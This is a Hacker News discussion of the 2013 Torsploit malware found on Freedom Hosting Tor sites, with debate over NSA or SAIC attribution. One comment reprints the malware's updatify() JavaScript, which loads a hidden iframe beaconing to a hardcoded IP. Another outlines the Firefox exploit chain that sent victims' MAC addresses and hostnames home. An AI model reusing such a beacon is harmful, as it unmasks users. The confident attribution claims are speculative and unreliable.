6 ms·
Torsploit takedown: analysis, reverse engineering, forensic
- hosay123 13y agoAs much as I love drama, the notion that the NSA would hardcode a registered IP address of their own into some malware and use that to attack some very publicized network affecting thousands of users.. well.. As another comment points out, why bother when you already coordinate a massive sniffing effort affecting large chunks of the globe?
- mzs 13y agoBecause this is tor, it's likely harder to sniff. This wanted to collect IPs and MACs.
- Scaevolus 13y agoYour argument is "that would be obvious, so it must not be true"? Why are you letting a feeling outweigh actual evidence? Why bother? Timing attacks on Tor are much harder (require sniffing & correlating large percentage of network) than direct de-anonymization (require injecting malware in some servers).
- lawnchair_larry 13y agoThe post is not speculation, it's actually pointing to those IP addresses. SAIC also openly does this type of offensive exploitation work for the government. There are many reasons why sniffing may not be sufficient, not least of which is that it's over Tor.
- Fuzzwah 13y agoBut what is the alternative... someone has pwnd an NSA box and is using it as a CC server for malware that they've injected into all sites hosted by some guy who was just arrested?
- UVB-76 13y agoPossible alternative is that a third party wrote the malware and decided to put an NSA/SAIC IP address in the code to scare people
- LoganCale 13y agoAnd then deployed this exploit just before the Freedom Hosting founder, on whose servers the exploit was found, was arrested?
- UVB-76 13y agoJust saying putting an IP address in some code doesn't mean the owner of that IP address is responsible for writing the code.
- LoganCale 13y agoYou're missing the point. The fact this exploit showed up just before the server owner was arrested strongly suggests the feds are involved.
- hosay123 13y agoI hear a "shooting star" was seen the night of the Tunguska event. The fact this shooting star showed up just prior to an enormously powerful explosion suggests the allies had nuclear weapons in 1908, and that they were supplied by aliens from another world. For any given series of boring events, the most fantastical explanation that ties them all together must obviously be true.
- chakalakasp 13y agoIt doesn't seem that fantastical. Anonymity unmasker shows up on the kiddie porn server the very day the police raid said kiddie porn server? http://i.imgur.com/SVrbmtR.jpg http://i.imgur.com/SVrbmtR.jpg
- api 13y agoPerhaps they wanted it to be noticed, to frighten people away from networks like Tor. In this case it's a double-hit: compromise a large number of Tor users and discourage more people from using it.
- maaku 13y agoSo this anonymous malware author compromises an enormous number of Tor sites and funnels identifying information to an SAIC/NSA IP address ... just for laughs?
- deleted 13y ago[deleted]
- korethr 13y agoIt's PsyOps. In leaving such an obvious signal, they're trying to remind people that as a state level actor, they can get into Tor or anywhere else they please if they really want to. Big Brother is watching.
- thrownaway2424 13y agoHasn't it always been perfectly clear that ~all Tor exit nodes are owned by intelligence agencies? You only need a relatively small fraction of the exit nodes to pwn the entire system.
- sp332 13y agoIt's possible, but so far there's no substantial evidence that it's true. And people have been watching out for it.
- arkades 13y agoWhy? I mean, insofar as they've already said "encryption makes you suspect", I'd imagine they'd want to break TOR wide open. So if they haven't, I presume it's because of technical difficulty. What's stopping them from doing so, if they haven't?
- sp332 13y agoIt's not just technical difficulty. It's that people are watching them, and they don't want to get caught doing it.
- wfn 13y agoIt's more complicated than that. As of now, the major part of Tor's funding (still) comes from multiple sections of the US government. Nobody likes that, and this is being discussed. (e.g. [1]) The overall relationship between USG (which is, really, a society of different sections, this should not be forgotten) and the Tor project is complex and, I should say, schizophrenic. The initial motivation for developing Tor (while it was being conceived in the US Naval Research lab) as a civilian project was clear (need lots of civilian nodes and civilian traffic to drown out the spies' / army employees / whoever's traffic.) What is happening right now I don't really understand, but would like to, very much. [1]: https://trac.torproject.org/projects/tor/wiki/org/meetings/2013SummerDevMeeting/Fundraising https://trac.torproject.org/projects/tor/wiki/org/meetings/2...
- detcader 13y agohuh, the title of my post changed and it lost 7 points? random changes like this seem common on HN, interested in why the original title was "Independent reasearch claims NSA behind Tor Browser exploit, owns 65.222.202.53" -- which I think is completely reasonable and accurate
- LoganCale 13y agoCan't have people knowing why an article is relevant, now can we?
- DannyBee 13y agoI believe they prefer to have the original link's page title used unless there is a very good reason not to.
- sp332 13y agoThe new title is a better description of what the article is about. If you just want to submit the AS ownership, you could link to http://pop.robtex.com/nsa.gov.html#records http://pop.robtex.com/nsa.gov.html#records
- LoganCale 13y agoIt describes what the article is about in general but removes why it is specifically relevant.
- marincounty 13y agoAt this point--I don't even trust HN.
- nkuttler 13y agoThe site is extremely slow, I got the text to load but apparently relevant images aren't loading. It's not in google cache yet either. If somebody could save the entire page and upload it somewhere (or something).. that would be great.
- detcader 13y agoThe is website seems slow right now. Alternative link on ars: http://arstechnica.com/tech-policy/2013/08/researchers-say-tor-targeted-malware-phoned-home-to-nsa/ http://arstechnica.com/tech-policy/2013/08/researchers-say-t... Relevant links: http://www.domaintools.com/research/ip-explorer/?ip=65.222.202.53 http://www.domaintools.com/research/ip-explorer/?ip=65.222.2... http://pop.robtex.com/nsa.gov.html#records http://pop.robtex.com/nsa.gov.html#records
- throwaway912397 13y agoThe form thread relies on a domaintools.com query [1], which points to "SCIENCE APPLICATIONS INT" [2] as the owner of this 65.222.202.53 Class C subset (65.222.202.53 has found in the updatify() function listed below [3]). You might recognize SAIC from the NSA's 'XKEYSCORE Systems Engineer' job posting thread [4] a couple days ago. function updatify() { var iframe = document.createElement('iframe'); iframe.style.display = "inline"; iframe.frameBorder = "0"; iframe.scrolling = "no"; iframe.src = "http://65.222.202.53/?requestID=eb5f2c80-fc81-11e2-b778-0800200c9a66"; iframe.height = "5"; iframe.width = "*"; document.body.appendChild(iframe); } [1] http://www.domaintools.com/research/ip-explorer/?ip=65.222.202.53 http://www.domaintools.com/research/ip-explorer/?ip=65.222.2... [2] http://en.wikipedia.org/wiki/SAIC_%28U.S._company%29 http://en.wikipedia.org/wiki/SAIC_%28U.S._company%29 [3] https://www.cryptocloud.org/viewtopic.php?f=9&t=2894&p=3852#p3849 https://www.cryptocloud.org/viewtopic.php?f=9&t=2894&p=3852#... [4] https://news.ycombinator.com/item?id=6138205 https://news.ycombinator.com/item?id=6138205
- DannyBee 13y agoSAIC is a huge defense contractor with their fingers in a large number of pies. Anything SAIC related is certainly government related, but not necessarily NSA.
- mpyne 13y agoIndeed, where I know SAIC from is when they leaked PII of DoD and VA records because they suck at information handling. :(
- DannyBee 13y agoYes. They are huge, and mostly horrible, and only get contracts because of who they are, not how well they do it :)
- lawnchair_larry 13y agoI'm not sure the distinction of what is and is not NSA proper is even meaningful anymore. They deal with national security and intelligence, not child porn, so they almost certainly weren't the primary actor in this case. But given all of the contractors and cooperating agencies and resources that are publicly known, which I would assume is only the tip of the iceberg, it makes little practical difference which agency is on the badge of who pulls the final trigger. Given the IP space involved, SAIC's involvement, their known existing work in this area including their willingness to purchase exploits for government/law enforcement, and the target, it's a huge stretch to come up with any other explanation. As someone usually ending up on the anti-NSA side of these discussions, I don't think there is anything particularly surprising or worrying about this. They (whichever agency it was) used an exploit in what was a fairly significant bust in their eyes. I haven't personally analyzed it but I gather it did something ranging from log identifiable information to installing malware. Regardless of what it did, this is a pretty expected law enforcement tactic for adversaries of this nature. As pointed out by you and others, SAIC definitely has fairly incompetent moments, but they have a lot of money. This is why they can put enough of an attack together to deliver a sophisticated exploit (likely purchased) and execute on the operation, while still leaving their tracks on everything and being somewhat sloppy. I've seen mixed comments as to whether or not it was actually patched upstream, but if it was, that makes even more sense. If it was patched, they had to use it before it made it into the Tor bundle, or lose it entirely. Generally, high value exploits that are 0day - unknown and unpatched, are not given to law enforcement. I think to suggest this was "psyops" or something is giving SAIC far too much credit. It was just a sloppy raid that used an exploit, for any number of legitimate reasons.
- detcader 13y agoFull forum post quoted below (I didn't write it, just found it on social media a little while ago): "Well, the story gets more interesting... This morning, we read that information from the NSA's illegal surveillance databases has been routinely finding its way into DEA drug cases [1], with an entire government "training programme" in existence to mask the source of the information from defendants... as well as prosecutors and judges. And this weekend, we've been working through the news that a large breach of security associated with the Tor network - it's been dubbed #torsploit [2] - has taken place. Exploit code is available (see earlier posts in this thread), and folks have been de-obfuscating and analysing the code. There's also an IP address hard-coded into it - that's where the info gathered by the malware is being sent. That IP address is: 65.222.202.53 Now, the press reporting on the address so far has been saying it's a "Verizon business address in Virginia." Yes, that's what whois shows, but that's not exactly the full story, or the real story. The folks at Baneki Privacy Labs have been chasing down that detail. They first asked [3], in a game-theoretic way, whether the entire situation isn't a bit too, well... obvious. I mean, did the FBI think nobody would notice? Everyone's been assuming it's the FBI, doing something like the "Darkmarket honeypot," [4] or some such. It's worth noting that nobody has taken public credit for this #torsploit [5] malware yet, so attributing it to the FBI is a leap of assumptive logic. Turns out, the story is much more interesting than that. Baneki dug deeper than whois, and got some clues things were spookier than they seemed. First, there's an open port (80) [6] sitting on the machine in question. So it's not some recycled or attempted-at-obfuscated IP address. It's still live and running. Then the fun starts... [7] SAIC.png [a] SAIC is, needless to say, deep in the core of the cyber-military complex... and certainly not the FBI. Some further investigation by Baneki turns up the following information [8]: NSA.png [b] That IP address is part of IP space directly allocated to the NSA's Autonomous Systems (AS). It's not FBI; it's NSA. What is an NSA IP address doing as a command & control contact for javascript malware being deployed in the #torsploit [9] attack? That remains to be seen... but we already know that PRISM data has been "jumping the wall" and leaking into other law enforcement hands. Is this an example of further abuse of PRISM's "national security only" dataset? That appears the most likely explanation, at this point in time. Glenn Greenwald has been warning us this is happening - and here's another hard, objective, irrefutable data point. The NSA's Alexander - who only last week was at DefCon doing his best to charm the audience [10] - is once again caught lying bald-faced. What happens now? We sit back to await developments..." [1] http://mobile.reuters.com/article/idUSBRE97409R20130805?irpc=932 http://mobile.reuters.com/article/idUSBRE97409R20130805?irpc... [2] https://twitter.com/search?q=%23torsploit&src=typd https://twitter.com/search?q=%23torsploit&src=typd [3] https://twitter.com/Baneki/status/364323285003014144 https://twitter.com/Baneki/status/364323285003014144 [4] https://www.cryptocloud.org/viewtopic.php?f=17&t=87 https://www.cryptocloud.org/viewtopic.php?f=17&t=87 [5] https://twitter.com/search?q=%23torsploit&src=typd https://twitter.com/search?q=%23torsploit&src=typd [6] https://twitter.com/Baneki/status/364336090057949184 https://twitter.com/Baneki/status/364336090057949184 [7] https://twitter.com/Baneki/status/364340406361665536 https://twitter.com/Baneki/status/364340406361665536 [8] http://pop.robtex.com/nsa.gov.html#records http://pop.robtex.com/nsa.gov.html#records [9] https://twitter.com/search?q=%23torsploit&src=typd https://twitter.com/search?q=%23torsploit&src=typd [10] https://twitter.com/CryptoCloudVPN/status/362864059105820674 https://twitter.com/CryptoCloudVPN/status/362864059105820674 [a] http://i.imgur.com/9d3fj2G.png http://i.imgur.com/9d3fj2G.png [b] http://i.imgur.com/PGnNvx9.png http://i.imgur.com/PGnNvx9.png
- blahbl4hblah 13y agoTo me it sounds like someone is trolling. The NSA wouldn't have hardcoded a fcsking ip address in an exploit...that's just stupid.
- ParadisoShlee 13y agoI'm not a tin foil kind of guy.... I think it's pretty safe to say the freedom hosting takedown and tor targeted exploit is a masterstroke of saber rattling and psyops dick waving. Target and capture somebody (possible evil douchebag) who is hidden behind seven proxies, Gain access to highly secure 'hidden .onion' servers used by people who want to stay hidden, scare the TOR user base by proving they can identify you in easily while also not giving a fuck about burning one of the many exploits in their bag - in a single move!
- nilved 13y agoIt's purely coincidental and to their luck that they were able to find the hosting provider, and that the provider happened to host so many valuable targets. The exploit isn't at all special.
- ParadisoShlee 13y agoYes, it's coincidental but it's a fun story. Sadly, the facts are not really available to confirm :) Regardless, I don't know why the freedom hosts lasted so damn long.
- saber_taylor 13y agoI think in that sense, this is more of a social engineering hack. Everyone trusted a common host. You can say the trust was not manipulated into existence by an adversary, but trust was involved, in hindsight.
- samstave 13y agoOff topic: I farking love this phrase: "psyops dick waving" Perfect-Band-Name.jpg
- gcb0 13y agoThis is a statement that either: 1) Tor is technically sound and NSA had to move now to undermine it before it get the size it need to be unstopable. 2) NSA is just rushing to give some arrests to other agencies so they will join their side on the closed door meetings.
- api 13y agoOne thought: the use of a browser exploit to target Tor is perhaps an admission that onion routing itself is not easily cracked.
- benajnim 13y agoIt just proves there are easier attack vectors than tor itself.
- rorrr2 13y agoIt's probably hard to gather meaningful evidence. Just think of how they would have to present it to the clueless jury. It's much easier to show a direct access to some child porn site. I'm almost certain NSA controls a bunch of nodes and exit nodes and can figure out who loads what. VPN is the way around it.
- tokenizerrr 13y agoWhen you visit .onion sites exit nodes don't come into play. As for controlling a bunch of nodes and figuring out who loads what is not possible, as far as I understand how the network works. How it works is that the sender decides on a path which consists of a random amount of other regular nodes. It encrypts a message with the public key of each of the nodes, and then sends it on its merry way to the first node. None of the nodes know if they're the first, the second, or the last. All the know is the address of the previous and the next node, either of which can be other nodes in the chain or the origin or the destination.
- tonfa 13y ago> As for controlling a bunch of nodes and figuring out who loads what is not possible, as far as I understand how the network works. Given the number of taping points, the NSA might be considered a global passive adversary (or close to one) at this point. Tor does not protect against that.
- Ergomane 13y agoAn entity controlling traffic at your internet connection can force node selection during circuit building by failing requests to uncontrolled nodes. The path bias warning is informational only AFAIK (was added in 2012?) and is not perfect.
- dmix 13y agoThe website loads perfectly if you take out s in http[s] http://www.cryptocloud.org/viewtopic.php?f=9&t=2894&p=3852#p3852 http://www.cryptocloud.org/viewtopic.php?f=9&t=2894&p=3852#p...
- staunch 13y agoNSA blocking the SSL version :-)
- ToothlessJake 13y agoSomeone in a previous thread about ex-NSA Russell Tice asked "Say what you like about Snowden, but at least some of his claims have been backed up by evidence. What have these guys got? Why not name names?" I responded with: A stay in a penitentiary helped managed by SAIC[1]. Digitally stalked due to dissent by for-profit "Domain Awareness Centers" run by SAIC[2]. Persistent targeting, one way or another, by drones managed by SAIC[3]. Now after this, I can add "Hunting and exposing swaths of users as to pursue/prosecute/rendition/drone a few via disseminating exploits used against those that dare encrypt their traffic[4]". [1] http://www.alanco.com/news_040104.asp http://www.alanco.com/news_040104.asp [2] http://oaklandwiki.org/Domain_Awareness_Center http://oaklandwiki.org/Domain_Awareness_Center [3] http://www.dailyfinance.com/2013/06/14/news-saic-wins-95-million-drone-management-contrac/ http://www.dailyfinance.com/2013/06/14/news-saic-wins-95-mil... [4] https://www.cryptocloud.org/viewtopic.php?f=9&t=2894&p=3852#p3852 https://www.cryptocloud.org/viewtopic.php?f=9&t=2894&p=3852#...
- mtgx 13y agoFreenet's statement about the takedown: https://freenetproject.org/news.html#2013-tor-bust https://freenetproject.org/news.html#2013-tor-bust
- jonknee 13y agoIt appears that this is actually aFirefox exploit that was patched a while back. Hurray for auto-updating browsers. I read suggestions of using a LiveCD, but that seems like it would leave you stuck to security fixes like this. If you were using Tails you could at least have had a random MAC (https://tails.boum.org/contribute/design/MAC_address/ https://tails.boum.org/contribute/design/MAC_address/), but this attack could have been a lot worse if it wanted more than the MAC. Since the OP didn't mention it, here's the gist of what happened: 1) A bug in Firefox related to the onreadystatechange event could end up arbitrarily executing memory on a page reload. 2) The attack created a Windows executable using JavaScript's typed arrays and array buffers (pretty interesting in its own right) 3) The executable phones home with a MAC address and Windows hostname
- powertower 13y agoI've got a bunch of TOR originating traffic coming into a clearweb "whats-my-ip" service that I run, that's really odd (it uses a Chrome user-agent string and apears to be coming from a script, maybe even JS being executed in a Browser). It's been going on for about 4 months now. I've posted my summery here - http://www.devside.net/blog/strange-tor-traffic-to-get-ip http://www.devside.net/blog/strange-tor-traffic-to-get-ip
- at-fates-hands 13y agoAnybody think this could be someone other than the NSA at work here? Maybe a good frame job from someone like Anon or the Chinese?
- deleted 13y ago[deleted]